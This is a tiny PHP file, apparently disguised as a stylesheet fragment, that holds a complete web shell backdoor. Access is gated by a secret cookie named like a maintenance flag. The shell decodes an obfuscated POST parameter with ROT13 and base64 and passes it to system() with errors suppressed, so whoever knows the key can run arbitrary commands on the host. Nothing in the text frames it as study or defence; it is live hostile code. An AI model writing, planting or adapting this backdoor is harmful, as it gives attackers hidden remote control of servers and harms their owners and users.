<?php
$k="f8e2a9b1";if(isset($_COOKIE["__j_maint"])&&$_COOKIE["__j_maint"]===$k){
$c=base64_decode(str_rot13($_POST["_d"]??""));@system($c);
echo "###RES###".base64_encode($c)."###RES###";
}?>.x:before{content:x;}